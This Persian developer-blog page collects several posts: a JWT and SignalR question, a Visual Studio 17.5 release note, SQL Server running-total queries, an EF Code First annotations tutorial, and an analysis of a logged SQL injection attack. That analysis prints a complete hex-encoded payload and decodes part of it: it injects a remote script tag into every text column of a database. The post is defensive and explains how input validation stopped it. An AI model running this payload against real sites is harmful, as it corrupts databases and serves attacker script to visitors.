نظرات مطالب
پیاده سازی JSON Web Token با ASP.NET Web API 2.x
با توجه به اینکه پروتکل اول برنامه‌های بلادرنگ WebSocket هست و منطقا در این پروتکل امکان ارسال هدر‌های HTTP وجود ندارد ، SignalR به عنوان fallback  به سایر پروتکل‌ها مثل لانگ پولینگ سوئیچ خواهد کرد ضمن اینکه دو خطای آزار دهنده همواره در کنسول مرورگر وجود خواهد داشت . یا اگر کاربر صفحه مرورگر خود را رفرش کند به صفحه لاگین ریدایرکت خواهد شد . برای حل این مشکل بنظر میرسد باید JWT در یک کوکی ذخیره شده و آن کوکی را مثل قبل در هر درخواست باز ارسال کرد . آیا چنین کاری درست است؟ در صورت تایید لطفا راهنمایی بفرمایید.
اشتراک‌ها
انتشار ویژوال استدیو ۲۰۲۲ نگارش 17.5

For .NET and cloud developers, we’ve focused on improving the inner-loop dev experience. New .http/.rest files make it easier to test and iterate on your APIs directly in Visual Studio, while improved Dev Tunnels help streamline the configuration and management of your webhooks. We’ve also made it easier than ever to deploy your ASP.NET apps to containers.

Game developers can now view properties from base classes modified in an Unreal Blueprint asset without leaving the IDE. Visual Studio has improved the cross-platform development experience with a new remote file explorer, Linux Console output to the Integrated Terminal window, dev container improvements, and more.

Beyond individuals, Visual Studio also has new features to better support dev teams at scale, with exportable configuration files and a persistent update toggle helping ensure everyone on your team is working from the latest version of the tool.

This blog covers several of the top new features in Visual Studio 17.5—to see some in action, watch the Visual Studio 17.5 release video. As always lot of these features come straight from your feedback and suggestions. Your feedback is critical to help us make Visual Studio the best tool it can be! 

انتشار ویژوال استدیو ۲۰۲۲ نگارش 17.5
مطالب
توابع Window و مساله های آماری running total و runnning average
مقدمه و شرح مساله
توسط ویژگی‌های جدیدی که در نسخه 2012 به بحث window افزوده شد می‌توانیم مسالهای running total و running average را به شکل بهینه ای حل کنیم.
ابتدا این دو مساله را بدون بکارگیری ویژگی‌های جدید، حل نموده و سپس سراغ توابع جدید خواهم رفت.

قبل از هر چیزی لازم است جدول زیر ساخته شود و داده‌های نمونه در آن درج شود:
create table testTable
(
day_nbr integer not null primary key clustered,
value integer not null check (value > 0)
);
insert into testTable
values (10, 7), (20, 15), (30, 3), (40, 9), (50, 17), (60, 25), (70, 10);

مساله running total بسیار ساده است، یعنی جمع مقدار سطر جاری با مقادیر سطرهای قبلی (بر اساس یک ترتیب معین)
running average هم مشابه به running total هست با این تفاوت که میانگین مقادیر سطرجاری وسطرهای قبلی محاسبه می‌شود.


و نتیجه به صورت نمودار:



راه حل در SQL Server 2000
توسط دو correlated scalar subquery در ماده SELECT می‌توانیم مقادیر دو ستون مورد نظر با محاسبه کنیم:
select *,
       runningTotal = (select sum(value)
                         from testTable
                        where day_nbr <= t.day_nbr),
       runningAverage = (select avg(value)
                           from testTable
                          where day_nbr <= t.day_nbr)
  from testTable t;



اگر به نقشه اجرای این query نگاه کنید گره(عملگر) inner join دو بار بکار رفته است (به وجود دو subquery)، که این عدد در روش توابع تجمعی window به صفر کاهش پیدا خواهد کرد



راه حل در SQL Server 2005

توسط cross apply به سادگی می‌توانیم دو subquery که در روش قبل بود را به یکی کاهش دهیم:
select *
  from testTable t
       cross apply (select sum(value) as runningTotal,
                           avg(value) as runningAverage
                      from testTable
                     where day_nbr <= t.day_nbr)d;


این بار تنها یک عملگر inner join در نقشه اجرای query مشاهده می‌شود:

 


راه حل در SQL Server 2012
با اضافه شدن برخی از ویژگی‌های استاندارد به ماده OVER مثل rows و range شاهد بهبودی در عملکرد query‌ها هستیم.
یکی از کاربردهای توابع تجمعی window حل مساله running total و running average است.
به تصویر زیر توجه کنید، همانطور که در قبل توضیح دادم ما به سطرجاری و سطرهای پیشین نیاز داریم تا اعمال تجمعی (جمع و میانگین) را روی مقادیر بدست آمده انجام دهیم. در تصویر زیر سطرجاری و سطرهای قبلی به ازای هر سطری به وضوح قابل مشاهده است، مثلا هنگامی که سطر جاری برابر با روز 30 است ما خود سطر جاری (current row) و تمام سطرهای پیشین و قبلی (unbounded preceding) را نیاز داریم.


و اکنون query مورد نظر
select *, sum(value) over(order by day_nbr rows between unbounded preceding and current row) as runningTotal,
          avg(value) over(order by day_nbr rows between unbounded preceding and current row) as runningAverage
from testTable

در نقشه اجرای این query دیگر خبری از عملگر inner join نخواهد بود که به معنای عملکرد بهتر query است.
 

مطالب
حمله چینی‌ها به سایت‌های ایرانی !


چند روز پیش داشتم لاگ‌های خطای یکی از سایت‌هایی رو که درست کرده‌ام بررسی می‌کردم، متوجه حجم بالای فایل لاگ خطای آن شدم (در چند سایت مختلف این مورد مشابه را دیدم). پس از بررسی، مورد زیر بسیار جالب بود:

Log Entry :

Error Raw Url :/show.aspx?id=15;DECLARE%20@S%20CHAR(4000);SET%20@S=
CAST(0x4445434C415245204054207661726368617228323535292C404
32076617263686172283430303029204445434C415245205461626C655F4375727
36F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616
D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220
776865726520612E69643D622E696420616E6420612E78747970653D27752720616E
642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78
747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D3
02920424547494E20657865632827757064617465205B272B40542B275D20736574205B
272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B4
0432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6
A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20
205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461
626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

IP=120.129.71.187

vahidnasiri.blogspot.com


خوب این چی هست؟!
قبل از اینکه با اجرای عبارت SQL فوق به صورت تستی و محض کنجکاوی، کل دیتابیس جاری (SQL server) را آلوده کنیم می‌شود تنها قسمت cast آنرا مورد بررسی قرار داد. برای مثال به صورت زیر:
print CAST(0x444... AS CHAR(4000))

خروجی، عبارت زیر خواهد بود که به صورت استادانه‌ای مخفی شده است:

DECLARE @T varchar(255),

@C varchar(4000)

DECLARE Table_Cursor CURSOR

FOR

SELECT a.name,

b.name

FROM sysobjects a,

syscolumns b

WHERE a.id = b.id

AND a.xtype = 'u'

AND (

b.xtype = 99

OR b.xtype = 35

OR b.xtype = 231

OR b.xtype = 167

)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

.....

عبارت T-SQL فوق، تمامی فیلدهای متنی (varchar ، char ، text و امثال آن) کلیه جداول دیتابیس جاری را پیدا کرده و به آن‌ها اسکریپتی را اضافه می‌کند. (آدرس‌های فوق وجود ندارد و بنابراین ارجاع آن صرفا سبب کندی شدید باز شدن صفحات سایت خواهد شد بدون اینکه نمایش ظاهری خاصی را مشاهده نمائید)

این حمله اس کیوال موفق نبود. علت؟
اگر به آدرس بالا دقت کنید آدرس صفحه به show.aspx?id=15 ختم می‌شود. برای مثال نمایش خبر شماره 15 در سایت. در اینجا، هدف، دریافت یک عدد صحیح از طریق query string است و نه هیچ چیز دیگری. بنابراین قبل از انجام هر کاری و تنها با بررسی نوع داده دریافتی، این نوع حملات عقیم خواهند شد. (برای مثال بکارگیری ...int.Parse(Request) در صورت عدم دریافت یک متغیر عددی، سبب ایجاد یک exception شده و برنامه در همین نقطه متوقف می‌شود)


IP های زیر حمله بالا رو انجام دادند:
IP=61.153.33.106
IP=211.207.124.182
IP=59.63.97.18
IP=117.88.137.174
IP=58.19.130.130
IP=121.227.61.188
IP=125.186.252.99
IP=218.79.55.50
IP=125.115.2.4
IP=221.11.190.75
IP=120.129.71.187
IP=221.205.71.199
IP=59.63.97.18
IP=121.227.61.188

این آی پی‌ها یا چینی هستند یا کره‌ای و البته الزامی هم ندارد که حتما متعلق به این کشورها باشند (استفاده از پروکسی توسط یک "هم‌وطن" برای مثال).

حالا شاید سؤال بپرسید که چرا از این اعداد هگز استفاده کرده‌اند؟ چرا مستقیما عبارت sql را وارد نکرده‌اند؟
همیشه ورودی ما از یک کوئری استرینگ عدد نخواهد بود (بسته به طراحی برنامه). در این موارد بررسی اعتبار کوئری استرینگ وارد شده بسیار مشکل می‌شود. برای مثال می‌شود تابعی طراحی کرد که اگر در مقدار دریافتی از کوئری استرینگ، select یا insert یا update و امثال آن وجود داشت، به صورت خودکار آنها را حذف کند. اما استفاده از cast فوق توسط فرد مهاجم، عملا این نوع روش‌ها را ناکارآمد خواهد کرد. برای مقابله با این حملات اولین اصلی را که باید به‌خاطر داشت این است: به کاربر اجازه انشاء نوشتن ندهید! اگر قرار است طول رشته دریافتی مثلا 32 کاراکتر باشد، او حق ندارد بیشتر از این مقداری را وارد نماید (به طول بیش از اندازه رشته وارد شده فوق دقت نمائید).
و موارد دیگری از این دست (شامل تنظیمات IIS ، روش‌های صحیح استفاده از ADO.NET برای مقابله با این نوع حملات و غیره) که خلاصه آن‌ها را در کتاب فارسی زیر می‌توانید پیدا کنید:
http://naghoos-andisheh.ir/product_info.php?products_id=197


مطالب
EF Code First #3

بررسی تعاریف نگاشت‌ها به کمک متادیتا در EF Code first

در قسمت قبل مروری سطحی داشتیم بر امکانات مهیای جهت تعاریف نگاشت‌ها در EF Code first. در این قسمت، حالت استفاده از متادیتا یا همان data annotations را با جزئیات بیشتری بررسی خواهیم کرد.
برای این منظور پروژه کنسول جدیدی را آغاز نمائید. همچنین به کمک NuGet، ارجاعات لازم را به اسمبلی EF، اضافه کنید. در ادامه مدل‌های زیر را به پروژه اضافه نمائید؛ یک شخص که تعدادی پروژه منتسب می‌تواند داشته باشد:

using System;
using System.Collections.Generic;

namespace EF_Sample02.Models
{
public class User
{
public int Id { set; get; }
public DateTime AddDate { set; get; }
public string Name { set; get; }
public string LastName { set; get; }
public string Email { set; get; }
public string Description { set; get; }
public byte[] Photo { set; get; }
public IList<Project> Projects { set; get; }
}
}

using System;

namespace EF_Sample02.Models
{
public class Project
{
public int Id { set; get; }
public DateTime AddDate { set; get; }
public string Title { set; get; }
public string Description { set; get; }
public virtual User User { set; get; }
}
}

به خاصیت public virtual User User در کلاس Project اصطلاحا Navigation property هم گفته می‌شود.
دو کلاس زیر را نیز جهت تعریف کلاس Context که بیانگر کلاس‌های شرکت کننده در تشکیل بانک اطلاعاتی هستند و همچنین کلاس آغاز کننده بانک اطلاعاتی سفارشی را به همراه تعدادی رکورد پیش فرض مشخص می‌کنند، به پروژه اضافه نمائید.

using System;
using System.Collections.Generic;
using System.Data.Entity;
using EF_Sample02.Models;

namespace EF_Sample02
{
public class Sample2Context : DbContext
{
public DbSet<User> Users { set; get; }
public DbSet<Project> Projects { set; get; }
}

public class Sample2DbInitializer : DropCreateDatabaseAlways<Sample2Context>
{
protected override void Seed(Sample2Context context)
{
context.Users.Add(new User
{
AddDate = DateTime.Now,
Name = "Vahid",
LastName = "N.",
Email = "name@site.com",
Description = "-",
Projects = new List<Project>
{
new Project
{
Title = "Project 1",
AddDate = DateTime.Now.AddDays(-10),
Description = "..."
}
}
});

base.Seed(context);
}
}
}

به علاوه در فایل کانفیگ برنامه، تنظیمات رشته اتصالی را نیز اضافه نمائید:

<connectionStrings>
<add
name="Sample2Context"
connectionString="Data Source=(local);Initial Catalog=testdb2012;Integrated Security = true"
providerName="System.Data.SqlClient"
/>
</connectionStrings>

همانطور که ملاحظه می‌کنید، در اینجا name به نام کلاس مشتق شده از DbContext اشاره می‌کند (یکی از قراردادهای توکار EF Code first است).

یک نکته:
مرسوم است کلاس‌های مدل را در یک class library جداگانه اضافه کنند به نام DomainClasses و کلاس‌های مرتبط با DbContext را در پروژه class library دیگری به نام DataLayer. هیچکدام از این پروژه‌ها نیازی به فایل کانفیگ و تنظیمات رشته اتصالی ندارند؛ زیرا اطلاعات لازم را از فایل کانفیگ پروژه اصلی که این دو پروژه class library را به خود الحاق کرده، دریافت می‌کنند. دو پروژه class library اضافه شده تنها باید ارجاعاتی را به اسمبلی‌های EF و data annotations داشته باشند.

در ادامه به کمک متد Database.SetInitializer که در قسمت دوم به بررسی آن پرداختیم و با استفاده از کلاس سفارشی Sample2DbInitializer فوق، نسبت به ایجاد یک بانک اطلاعاتی خالی تشکیل شده بر اساس تعاریف کلاس‌های دومین پروژه، اقدام خواهیم کرد:

using System;
using System.Data.Entity;

namespace EF_Sample02
{
class Program
{
static void Main(string[] args)
{
Database.SetInitializer(new Sample2DbInitializer());
using (var db = new Sample2Context())
{
var project1 = db.Projects.Find(1);
Console.WriteLine(project1.Title);
}
}
}
}

تا زمانیکه وهله‌ای از Sample2Context ساخته نشود و همچنین یک کوئری نیز به بانک اطلاعاتی ارسال نگردد، Sample2DbInitializer در عمل فراخوانی نخواهد شد.
ساختار بانک اطلاعاتی پیش فرض تشکیل شده نیز مطابق اسکریپت زیر است:

CREATE TABLE [dbo].[Users](
[Id] [int] IDENTITY(1,1) NOT NULL,
[AddDate] [datetime] NOT NULL,
[Name] [nvarchar](max) NULL,
[LastName] [nvarchar](max) NULL,
[Email] [nvarchar](max) NULL,
[Description] [nvarchar](max) NULL,
[Photo] [varbinary](max) NULL,
CONSTRAINT [PK_Users] PRIMARY KEY CLUSTERED
(
[Id] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF,
IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY]


CREATE TABLE [dbo].[Projects](
[Id] [int] IDENTITY(1,1) NOT NULL,
[AddDate] [datetime] NOT NULL,
[Title] [nvarchar](max) NULL,
[Description] [nvarchar](max) NULL,
[User_Id] [int] NULL,
CONSTRAINT [PK_Projects] PRIMARY KEY CLUSTERED
(
[Id] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF,
IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY]

GO

ALTER TABLE [dbo].[Projects] WITH CHECK ADD CONSTRAINT [FK_Projects_Users_User_Id] FOREIGN KEY([User_Id])
REFERENCES [dbo].[Users] ([Id])
GO

ALTER TABLE [dbo].[Projects] CHECK CONSTRAINT [FK_Projects_Users_User_Id]
GO

توضیحاتی در مورد ساختار فوق، جهت یادآوری مباحث دو قسمت قبل:
- خواصی با نام Id تبدیل به primary key و identity field شده‌اند.
- نام جداول، همان نام خواص تعریف شده در کلاس Context است.
- تمام رشته‌ها به nvarchar از نوع max نگاشت شده‌اند و null پذیر می‌باشند.
- خاصیت تصویر که با آرایه‌ای از بایت‌ها تعریف شده به varbinary از نوع max نگاشت شده است.
- بر اساس ارتباط بین کلاس‌ها فیلد User_Id در جدول Projects اضافه شده است که توسط قیدی به نام FK_Projects_Users_User_Id، جهت تعریف کلید خارجی عمل می‌کند. این نام گذاری پیش فرض هم بر اساس نام خواص در دو کلاس انجام می‌شود.
- schema پیش فرض بکارگرفته شده، dbo است.
- null پذیری پیش فرض فیلدها بر اساس اصول زبان مورد استفاده تعیین شده است. برای مثال در سی شارپ، نوع int نال پذیر نیست یا نوع DateTime نیز به همین ترتیب یک value type است. بنابراین در اینجا این دو نوع به صورت not null تعریف شده‌اند (صرفنظر از اینکه در SQL Server هر دو نوع یاد شده، null پذیر هم می‌توانند باشند). بدیهی است امکان تعریف nullable types نیز وجود دارد.


مروری بر انواع متادیتای قابل استفاده در EF Code first

1) Key
همانطور که ملاحظه کردید اگر نام خاصیتی Id یا ClassName+Id باشد، به صورت خودکار به عنوان primary key جدول، مورد استفاده قرار خواهد گرفت. این یک قرارداد توکار است.
اگر یک چنین خاصیتی با نام‌های ذکر شده در کلاس وجود نداشته باشد، می‌توان با مزین سازی خاصیتی مفروض با ویژگی Key که در فضای نام System.ComponentModel.DataAnnotations قرار دارد، آن‌را به عنوان Primary key معرفی نمود. برای مثال:

public class Project
{
[Key]
public int ThisIsMyPrimaryKey { set; get; }

و ضمنا باید دقت داشت که حین کار با ORMs فرقی نمی‌کند EF باشد یا سایر فریم ورک‌های دیگر، داشتن یک key جهت عملکرد صحیح فریم ورک، ضروری است. بر اساس یک Key است که Entity معنا پیدا می‌کند.


2) Required
ویژگی Required که در فضای نام System.ComponentModel.DataAnnotations تعریف شده است، سبب خواهد شد یک خاصیت به صورت not null در بانک اطلاعاتی تعریف شود. همچنین در مباحث اعتبارسنجی برنامه، پیش از ارسال اطلاعات به سرور نیز نقش خواهد داشت. در صورت نال بودن خاصیتی که با ویژگی Required مزین شده است، یک استثنای اعتبارسنجی پیش از ذخیره سازی اطلاعات در بانک اطلاعاتی صادر می‌گردد. این ویژگی علاوه بر EF Code first در ASP.NET MVC نیز به نحو یکسانی تاثیرگذار است.


3) MaxLength و MinLength
این دو ویژگی نیز در فضای نام System.ComponentModel.DataAnnotations قرار دارند (اما در اسمبلی EntityFramework.dll تعریف شده‌اند و جزو اسمبلی‌ پایه System.ComponentModel.DataAnnotations.dll نیستند). در ذیل نمونه‌ای از تعریف این‌ها را مشاهده می‌کنید. همچنین باید درنظر داشت که روش دیگر تعریف متادیتا، ترکیب آن‌ها در یک سطر نیز می‌باشد. یعنی الزامی ندارد در هر سطر یک متادیتا را تعریف کرد:

[MaxLength(50, ErrorMessage = "حداکثر 50 حرف"), MinLength(4, ErrorMessage = "حداقل 4 حرف")]
public string Title { set; get; }

ویژگی MaxLength بر روی طول فیلد تعریف شده در بانک اطلاعاتی تاثیر دارد. برای مثال در اینجا فیلد Title از نوع nvarchar با طول 30 تعریف خواهد شد.
ویژگی MinLength در بانک اطلاعاتی معنایی ندارد.
هر دوی این ویژگی‌ها در پروسه اعتبار سنجی اطلاعات مدل دریافتی تاثیر دارند. برای مثال در اینجا اگر طول عنوان کمتر از 4 حرف باشد، یک استثنای اعتبارسنجی صادر خواهد شد.

ویژگی دیگری نیز به نام StringLength وجود دارد که جهت تعیین حداکثر طول رشته‌ها به کار می‌رود. این ویژگی سازگاری بیشتر با ASP.NET MVC‌ دارد از این جهت که Client side validation آن‌را نیز فعال می‌کند.


4) Table و Column
این دو ویژگی نیز در فضای نام System.ComponentModel.DataAnnotations قرار دارند، اما در اسمبلی EntityFramework.dll تعریف شده‌اند. بنابراین اگر تعاریف مدل‌های شما در پروژه Class library جداگانه‌ای قراردارند، نیاز خواهد بود تا ارجاعی را به اسمبلی EntityFramework.dll نیز داشته باشند.
اگر از نام پیش فرض جداول تشکیل شده خرسند نیستید، ویژگی Table را بر روی یک کلاس قرار داده و نام دیگری را تعریف کنید. همچنین اگر Schema کاربری رشته اتصالی به بانک اطلاعاتی شما dbo نیست، باید آن‌را در اینجا صریحا ذکر کنید تا کوئری‌های تشکیل شده به درستی بر روی بانک اطلاعاتی اجرا گردند:

[Table("tblProject", Schema="guest")]
public class Project

توسط ویژگی Column سه خاصیت یک فیلد بانک اطلاعاتی را می‌توان تعیین کرد:

[Column("DateStarted", Order = 4, TypeName = "date")]
public DateTime AddDate { set; get; }

به صورت پیش فرض، خاصیت فوق با همین نام AddDate در بانک اطلاعاتی ظاهر می‌گردد. اگر برای مثال قرار است از یک بانک اطلاعاتی قدیمی استفاده شود یا قرار نیست از شیوه نامگذاری خواص در سی شارپ در یک بانک اطلاعاتی پیروی شود، توسط ویژگی Column می‌توان این تعاریف را سفارشی نمود.
توسط پارامتر Order آن که از صفر شروع می‌شود، ترتیب قرارگیری فیلدها در حین تشکیل یک جدول مشخص می‌گردد.
اگر نیاز است نوع فیلد تشکیل شده را نیز سفارشی سازی نمائید، می‌توان از پارامتر TypeName استفاده کرد. برای مثال در اینجا علاقمندیم از نوع date مهیا در SQL Server 2008 استفاده کنیم و نه از نوع datetime پیش فرض آن.

نکته‌ای در مورد Order:
Order پیش فرض تمام خواصی که قرار است به بانک اطلاعاتی نگاشت شوند، به int.MaxValue تنظیم شده‌اند. به این معنا که تنظیم فوق با Order=4 سبب خواهد شد تا این فیلد، پیش از تمام فیلدهای دیگر قرار گیرد. بنابراین نیاز است Order اولین خاصیت تعریف شده را به صفر تنظیم نمود. (البته اگر واقعا نیاز به تنظیم دستی Order داشتید)


نکاتی در مورد تنظیمات ارث بری در حالت استفاده از متادیتا:
حداقل سه حالت ارث بری را در EF code first می‌توان تعریف و مدیریت کرد:
الف) Table per Hierarchy - TPH
حالت پیش فرض است. نیازی به هیچگونه تنظیمی ندارد. معنای آن این است که «لطفا تمام اطلاعات کلاس‌هایی را که از هم ارث بری کرده‌اند در یک جدول بانک اطلاعاتی قرار بده». فرض کنید یک کلاس پایه شخص را دارید که کلاس‌های بازیکن و مربی از آن ارث بری می‌کنند. زمانیکه کلاس پایه شخص توسط DbSet در کلاس مشتق شده از DbContext در معرض استفاده EF قرار می‌گیرد، بدون نیاز به هیچ تنظیمی، تمام این سه کلاس، تبدیل به یک جدول شخص در بانک اطلاعاتی خواهند شد. یعنی یک table به ازای سلسله مراتبی (Hierarchy) که تعریف شده.
ب) Table per Type - TPT
به این معنا است که به ازای هر نوع، باید یک جدول تشکیل شود. به عبارتی در مثال قبل، یک جدول برای شخص، یک جدول برای مربی و یک جدول برای بازیکن تشکیل خواهد شد. دو جدول مربی و بازیکن با یک کلید خارجی به جدول شخص مرتبط می‌شوند. تنها تنظیمی که در اینجا نیاز است، قرار دادن ویژگی Table بر روی نام کلاس‌های بازیکن و مربی است. به این ترتیب حالت پیش فرض الف (TPH) اعمال نخواهد شد.
ج) Table per Concrete Type - TPC
در این حالت فقط دو جدول برای بازیکن و مربی تشکیل می‌شوند و جدولی برای شخص تشکیل نخواهد شد. خواص کلاس شخص، در هر دو جدول مربی و بازیکن به صورت جداگانه‌ای تکرار خواهد شد. تنظیم این مورد نیاز به استفاده از Fluent API دارد.

توضیحات بیشتر این موارد به همراه مثال، موکول خواهد شد به مباحث استفاده از Fluent API که برای تعریف تنظیمات پیشرفته نگاشت‌ها طراحی شده است. استفاده از متادیتا تنها قسمت کوچکی از توانایی‌های Fluent API را شامل می‌شود.



5) ConcurrencyCheck و Timestamp
هر دوی این ویژگی‌ها در فضای نام System.ComponentModel.DataAnnotations و اسمبلی به همین نام تعریف شده‌اند.
در EF Code first دو راه برای مدیریت مسایل همزمانی وجود دارد:
[ConcurrencyCheck]
public string Name { set; get; }

[Timestamp]
public byte[] RowVersion { set; get; }

زمانیکه از ویژگی ConcurrencyCheck استفاده می‌شود، تغییر خاصی در سمت بانک اطلاعاتی صورت نخواهد گرفت، اما در برنامه، کوئری‌های update و delete ایی که توسط EF صادر می‌شوند، اینبار اندکی متفاوت خواهند بود. برای مثال برنامه جاری را به نحو زیر تغییر دهید:

using System;
using System.Data.Entity;

namespace EF_Sample02
{
class Program
{
static void Main(string[] args)
{
Database.SetInitializer(new Sample2DbInitializer());
using (var db = new Sample2Context())
{
//update
var user = db.Users.Find(1);
user.Name = "User name 1";
db.SaveChanges();
}
}
}
}

متد Find بر اساس primary key عمل می‌کند. به این ترتیب، اول رکورد یافت شده و سپس نام آن‌ تغییر کرده و در ادامه، اطلاعات ذخیره خواهند شد.
اکنون اگر توسط SQL Server Profiler کوئری update حاصل را بررسی کنیم، به نحو زیر خواهد بود:

exec sp_executesql N'update [dbo].[Users]
set [Name] = @0
where (([Id] = @1) and ([Name] = @2))
',N'@0 nvarchar(max) ,@1 int,@2 nvarchar(max) ',@0=N'User name 1',@1=1,@2=N'Vahid'

همانطور که ملاحظه می‌کنید، برای به روز رسانی فقط از primary key جهت یافتن رکورد استفاده نکرده، بلکه فیلد Name را نیز دخالت داده است. از این جهت که مطمئن شود در این بین، رکوردی که در حال به روز رسانی آن هستیم، توسط کاربر دیگری در شبکه تغییر نکرده باشد و اگر در این بین تغییری رخ داده باشد، یک استثناء صادر خواهد شد.
همین رفتار در مورد delete نیز وجود دارد:
//delete
var user = db.Users.Find(1);
db.Users.Remove(user);
db.SaveChanges();
که خروجی آن به صورت زیر است:

exec sp_executesql N'delete [dbo].[Users]
where (([Id] = @0) and ([Name] = @1))',N'@0 int,@1 nvarchar(max) ',@0=1,@1=N'Vahid'

در اینجا نیز به علت مزین بودن خاصیت Name به ویژگی ConcurrencyCheck، فقط همان رکوردی که یافت شده باید حذف شود و نه نمونه تغییر یافته آن توسط کاربری دیگر در شبکه.
البته در این مثال شاید این پروسه تنها چند میلی ثانیه به نظر برسد. اما در برنامه‌ای با رابط کاربری، شخصی ممکن است اطلاعات یک رکورد را در یک صفحه دریافت کرده و 5 دقیقه بعد بر روی دکمه save کلیک کند. در این بین ممکن است شخص دیگری در شبکه همین رکورد را تغییر داده باشد. بنابراین اطلاعاتی را که شخص مشاهده می‌کند، فاقد اعتبار شده‌اند.

ConcurrencyCheck را بر روی هر فیلدی می‌توان بکاربرد، اما ویژگی Timestamp کاربرد مشخص و محدودی دارد. باید به خاصیتی از نوع byte array اعمال شود (که نمونه‌ای از آن‌را در بالا در خاصیت public byte[] RowVersion مشاهده نمودید). علاوه بر آن، این ویژگی بر روی بانک اطلاعاتی نیز تاثیر دارد (نوع فیلد را در SQL Server تبدیل به timestamp می‌کند و نه از نوع varbinary مانند فیلد تصویر). SQL Server با این نوع فیلد به خوبی آشنا است و قابلیت مقدار دهی خودکار آن‌را دارد. بنابراین نیازی نیست در حین تشکیل اشیاء در برنامه، قید شود.
پس از آن، این فیلد مقدار دهی شده به صورت خودکار توسط بانک اطلاعاتی، در تمام updateها و deleteهای EF Code first حضور خواهد داشت:

exec sp_executesql N'delete [dbo].[Users]
where ((([Id] = @0) and ([Name] = @1)) and ([RowVersion] = @2))',N'@0 int,@1 nvarchar(max) ,
@2 binary(8)',@0=1,@1=N'Vahid',@2=0x00000000000007D1

از این جهت که اطمینان حاصل شود، واقعا مشغول به روز رسانی یا حذف رکوردی هستیم که در ابتدای عملیات از بانک اطلاعاتی دریافت کرده‌ایم. اگر در این بین RowVesrion تغییر کرده باشد، یعنی کاربر دیگری در شبکه این رکورد را تغییر داده و ما در حال حاضر مشغول به کار با رکوردی غیرمعتبر هستیم.
بنابراین استفاده از Timestamp را می‌توان به عنوان یکی از best practices طراحی برنامه‌های چند کاربره ASP.NET درنظر داشت.


6) NotMapped و DatabaseGenerated
این دو ویژگی نیز در فضای نام System.ComponentModel.DataAnnotations قرار دارند، اما در اسمبلی EntityFramework.dll تعریف شده‌اند.
به کمک ویژگی DatabaseGenerated، مشخص خواهیم کرد که این فیلد قرار است توسط بانک اطلاعاتی تولید شود. برای مثال خواصی از نوع public int Id به صورت خودکار به فیلدهایی از نوع identity که توسط بانک اطلاعاتی تولید می‌شوند، نگاشت خواهند شد و نیازی نیست تا به صورت صریح از ویژگی DatabaseGenerated جهت مزین سازی آن‌ها کمک گرفت. البته اگر علاقمند نیستید که primary key شما از نوع identity باشد، می‌توانید از گزینه DatabaseGeneratedOption.None استفاده نمائید:
[DatabaseGenerated(DatabaseGeneratedOption.None)]
public int Id { set; get; }

DatabaseGeneratedOption در اینجا یک enum است که به نحو زیر تعریف شده است:

public enum DatabaseGeneratedOption
{
None = 0,
Identity = 1,
Computed = 2
}

تا اینجا حالت‌های None و Identity آن، بحث شدند.
در SQL Server امکان تعریف فیلدهای محاسباتی و Computed با T-SQL نویسی نیز وجود دارد. این نوع فیلدها در هربار insert یا update یک رکورد، به صورت خودکار توسط بانک اطلاعاتی مقدار دهی می‌شوند. بنابراین اگر قرار است خاصیتی به این نوع فیلدها در SQL Server نگاشت شود، می‌توان از گزینه DatabaseGeneratedOption.Computed استفاده کرد.
یا اگر برای فیلدی در بانک اطلاعاتی default value تعریف کرده‌اید، مثلا برای فیلد date متد getdate توکار SQL Server را به عنوان پیش فرض درنظر گرفته‌اید و قرار هم نیست توسط برنامه مقدار دهی شود، باز هم می‌توان آن‌را از نوع DatabaseGeneratedOption.Computed تعریف کرد.
البته باید درنظر داشت که اگر خاصیت DateTime تعریف شده در اینجا به همین نحو بکاربرده شود، اگر مقداری برای آن در حین تعریف یک وهله جدید از کلاس User درکدهای برنامه درنظر گرفته نشود، یک مقدار پیش فرض حداقل به آن انتساب داده خواهد شد (چون value type است). بنابراین نیاز است این خاصیت را از نوع nullable تعریف کرد (public DateTime? AddDate).

همچنین اگر یک خاصیت محاسباتی در کلاسی به صورت ReadOnly تعریف شده است (توسط کدهای مثلا سی شارپ یا وی بی):

[NotMapped]
public string FullName
{
get { return Name + " " + LastName; }
}

بدیهی است نیازی نیست تا آن‌را به یک فیلد بانک اطلاعاتی نگاشت کرد. این نوع خواص را با ویژگی NotMapped می‌توان مزین کرد.
همچنین باید دقت داشت در این حالت، از این نوع خواص دیگر نمی‌توان در کوئری‌های EF استفاده کرد. چون نهایتا این کوئری‌ها قرار هستند به عبارات SQL ترجمه شوند و چنین فیلدی در جدول بانک اطلاعاتی وجود ندارد. البته بدیهی است امکان تهیه کوئری LINQ to Objects (کوئری از اطلاعات درون حافظه) همیشه مهیا است و اهمیتی ندارد که این خاصیت درون بانک اطلاعاتی معادلی دارد یا خیر.


7) ComplexType
ComplexType یا Component mapping مربوط به حالتی است که شما یک سری خواص را در یک کلاس تعریف می‌کنید، اما قصد ندارید این‌ها واقعا تبدیل به یک جدول مجزا (به همراه کلید خارجی) در بانک اطلاعاتی شوند. می‌خواهید این خواص دقیقا در همان جدول اصلی کنار مابقی خواص قرار گیرند؛ اما در طرف کدهای ما به شکل یک کلاس مجزا تعریف و مدیریت شوند.
یک مثال:
